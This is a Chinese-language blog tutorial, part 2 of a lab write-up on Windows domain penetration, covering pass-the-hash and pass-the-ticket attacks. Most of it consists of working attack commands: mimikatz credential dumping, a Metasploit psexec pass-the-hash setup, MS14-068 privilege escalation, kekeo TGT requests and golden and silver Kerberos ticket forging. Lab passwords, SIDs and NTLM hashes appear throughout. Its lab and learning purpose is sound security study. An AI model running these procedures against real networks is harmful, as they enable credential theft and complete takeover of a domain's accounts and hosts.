一、前提信息
part 2 主要是讲解内网渗透中 PTH PTT 攻击!!! (前提:我们无法获取到内网域用户的明文密码!)
记一次简单域渗透 part1
结合 part 1 的过程分析,可总结以下基本信息:
1.1 环境
域:learn.com
操作系统类型 IP地址 本地账户/密码 域账户/密码 角色
Windows 2008 R2 192.168.138.129 Administrator/ learn\Administrator DC域控
win@2008.com win@2008.com
Windows 2003 网卡1:192.168.138.130 Administrator/ learn\win2003 域主机/
网卡2:192.168.47.159 root win@2003 外网站点服务器
Windows XP 192.168.138.131 Administrator/ learn\winxp 域内主机
root xp@123.com
1.2 以获得的权限-信息
1、Windows 2003 已经被拿下;
2、路由-代理建立完毕;
二、PTH(hash传递攻击)
meterpreter> load mimikatz #加载mimikatz模块
meterpreter> help # 查看由哪些命令
meterpreter> msv #这个与 hashdump 的结果是有差异的! 自己可以敲下看看,差别在哪。
这里我们获取到了 域管理员 learn\Administrator 的 lm和ntml 值:
lm: 5e1f37a1c473aeef33e122edfd196af2
ntlm: 45f01f89a04cbb0ffc64ef4ed45cf128
run post/windows/gather/smart_hashdump #也可以用来插卡域用户的 ntlm 值
mimikatz 中执行的结果: (实际过程中,你也可以上传Mimikatz工具到目标主机上,然后进入shell执行。)
2.1 msf中hash传递攻击
这里,我们进行PTH攻击,目标:内网的 XP 系统 192.168.138.131
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp #注意,在内网中,往往网络会受限制,通常使用 bind 系列的payload
set rhost 192.168.138.131
set rhosts 192.168.138.131
set smbdomain learn.com
set smbuser Administrator
# hash 格式为 lm:ntlm (lm正不正确无所谓,位数对上就行,ntlm是必须是正确的!)
set smbpass 5e1f37a1c473aeef33e122edfd196af2:45f01f89a04cbb0ffc64ef4ed45cf128
set lport 5555
explort
吐了,之前写 part1 的时候通过了,现在连明文密码提示登入失败!!!
操作是这样的,可能我的msf出问题了。——>2.2 我用 mimikatz操作下就知道了,环境没问题,应该是那个exploit psexec模块有点问题。
(ps: 这是我用 exploit/windows/smb/ms17_010_psexec 获取到的,也是使用的 hash 传递!!!)
2.2 通过mimikatz工具进行hash传递
未进行PTH前,是需要认证的。
sekurlsa::pth /user:administrator /domain:LEARN.COM /ntlm:45f01f89a04cbb0ffc64ef4ed45cf128
执行后 会弹出一个cmd框!
net use \\192.168.138.131\C$
dir \\192.168.138.131\C$
三、PTT(制作黄金票据-白银票据)
3.1 PAC绕过
【注:】下面票据传输,成功的截图,都是后面换 win7 系统做的!!! 原因,看文末总结!
漏洞:ms14-068
前提:获得了域内普通用户的账户/密码、SID
利用此漏洞,可提权至域管理员权限!
前提:
域内任意用户SID
域内任意用户密码
获取SID的方法:
whoami /all
wmic useraccount get name,sid
run post/windows/gather/enum_logged_on_users
最近查的严,VPN挂了!!!
附工具连接:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
补充:
MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址(最好写主机名加域名) -p 域成员密码
MS14-068.exe -u winxp@learn.com -s S-1-5-21-228940514-3227562696-961093544-1107 -d WIN-USLQ0QAG0DF.learn.com -p xp@123.com
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
net use \\WIN-USLQ0QAG0DF\c$
dir \\WIN-USLQ0QAG0DF\c$
3.2 keko 制作TGT
附工具连接:https://github.com/gentilkiwi/kekeo/releases
前提:
域名
域内账户
域账户密码的 ntlm
对方主机名(计算机名) # NCU-LY
kekeo // 进入kekeo
kekeo "tgt::ask /user:win2003 /domain:learn.com /ntlm:89554d0786afd03198eb683a4a236707"
// tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash
在kekeo中执行以下命令:
kekeo # kerberos::purge // 清除内存中的其他票据
kekeo # kerberos::ptt TGT_win2003@LEARN.COM_krbtgt~learn.com@LEARN.COM.kirbi // 导入票据
生成的票据文件名为:TGT_win2003@LEARN.COM_krbtgt~learn.com@LEARN.COM.kirbi
win7 访问 win2003:
net use \\NCU-LY #计算机名
dir \\NCU-LY\C$
3.3 黄金票据制作
前提:
需要伪造的域管理员用户名 #Administrator
完整的域名 #learn.com
域SID # S-1-5-21-228940514-3227562696-961093544
krbtgt的NTLM Hash # 1f954b8cd7d018293bbcaede33696a0a
kerberos::golden /user:administrator /domain:LEARN.com /sid:S-1-5-21-228940514-3227562696-961093544 /krbtgt:1f954b8cd7d018293bbcaede33696a0a /ticket:ticket.kirbi
kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
查看票据:
kerberos::ptt ticket.kirbi
kerberos::ptt <票据文件>
kerberos::tgt
# win2008 DC 计算机名: WIN-USLQ0QAG0DF$
#lsadump::lsa /patch
# exit
# dir \\WIN-USLQ0QAG0DF\c$
这是后面用WIN7做的实验 为什么要用WIN7? 见总结部分!!!
3.4 白银票据
前提:
域名 # LEARN.com
域SID # S-1-5-21-228940514-3227562696-961093544
目标服务器的FQDN # WIN-USLQ0QAG0DF$
可利用的服务
服务账号的NTLM Hash # 6d5d1b99f9df0dfbc95ad271b1d6f168
要伪造的用户名
kerberos::golden /domain:LEARN.com /sid:S-1-5-21-228940514-3227562696-961093544 /target:WIN-USLQ0QAG0DF.LEARN.com /rc4:6d5d1b99f9df0dfbc95ad271b1d6f168 /service:cifs /user:administrator /ptt
# privilege::debug
# sekurlsa::logonpasswords
/sid:域的SID值
/rc4:server机器的hash
/service:可利用的服务,这里是cifs
/user:要伪造的用户名,任意填写
/target:域控制器名,即FQDN(全称)
# exit
# dir \\WIN-USLQ0QAG0DF.learn.com\c$ // 机器名要全称,注意是全称
3.5 问题总结
在win2003上操作时,票据无法成功利用!!!(会报错下列错误提示!)
ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMessage : c000000d
四、总结和思路
总结:part1 和 part2 主要是介绍内网渗透中常用的一些手段(系统级或是服务漏洞除外)
所以 一些详细具体的前期拿到外网服务主机的步骤以及提权,这里就省略了。
实验中主要注意的点就是:
1、域内防火墙
2、payload的使用 reverse/bind 的区别
3、Windows7登入时用户虽然是本地管理员组内角色,但是运行mimikatz时需要右键以管理员身份运行,
在meterpreter无法进行交互,故需要提权为系统权限。
另附一篇关于 域账户权限对mimikatz的影响:
https://www.freebuf.com/articles/others-articles/254588.html
欢迎交流!!!